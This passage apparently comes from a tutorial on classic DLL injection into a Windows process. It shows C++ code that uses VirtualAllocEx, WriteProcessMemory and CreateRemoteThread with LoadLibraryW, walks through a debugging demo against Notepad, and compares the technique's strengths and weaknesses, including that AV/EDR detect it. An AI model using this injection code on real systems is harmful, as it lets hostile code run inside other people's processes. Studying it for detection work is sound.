    	PVOID pAllocatedMemory = VirtualAllocEx(hProcess, NULL, (sizeof dllPath + 1), MEM_COMMIT, PAGE_READWRITE);
    	if (!WriteProcessMemory(hProcess, pAllocatedMemory, (LPVOID)dllPath, sizeof dllPath, NULL)) {
    		std::cerr << "WriteProcessMemory failed, unable to write DLL to targeted PID!";
    	}
    
    	PTHREAD_START_ROUTINE threadStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
    	CreateRemoteThread(hProcess, NULL, 0, threadStartRoutineAddress, pAllocatedMemory, 0, NULL);
    	CloseHandle(hProcess);
    
    	return 0;
    }
    

    Using this code, we can only inject our DLL once, as repeated calls will not cause the DLL’s entry point to be called again using the code above!

    Lets spawn a process to leverage, in this case we will use Notepad. This is created under PID 8052.

    To demo this, I will debug the code and manually set our PID value. First off, I will set a break point in Visual Studio after the call to VirtualAllocEx. We do this by clicking in the far left of the window in the greyed area. This will allocate a region of memory which we will use to store the file path to our DLL (line 11) which we want to execute (Line 16).

    Here we can hover over the pAllocatedMemory variable to see its value is 0x000002363ed70000. Using Process Hacker, I will double click on the Notepad process and then go to the Memory tab. We can see a region of memory has been created at this address, and the path to the DLL written into it.

    Ignore the altered PID of 13140 here!

    We will click resume to continue execution after this breakpoint and we get a message box from our DLL. There is some slightly funky looking code going on here. We will load a pointer to the API we want to call, then create a thread and pass it the pointer to API we want to call and parameters for it.

    We start with a line of code to load a pointer to the LoadLibraryW function:

    PTHREAD_START_ROUTINE threadStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
    

    If we take a look at the documentation for this function, we can see it accepts a single parameter, which is the library to be loaded:

    With the next line of code, we will create a remote thread and point it at the LoadLibraryW function (4th param), passing the contents of pAllocatedMemory as the arguments to this function call (5th param). From earlier on, we know the contents of pAllocatedMemory is the file path to the DLL we want to load.

    CreateRemoteThread(hProcess, NULL, 0, threadStartRoutineAddress, pAllocatedMemory, 0, NULL);
    

    If we take a look at the documentation for CreateRemoteThread, we can see these parameters explained.

    Pros vs Cons

    Pros

    • Lots of examples on the internet
    • Easy to learn from
    • Easy to implement
    • It works?! (If AV/EDR is turned off)

    Cons

    • Extremely well signatured
    • Very suspicious looking
    • Not cool
    • The DLL is dropped to disk, making it more likely to be detected

    Links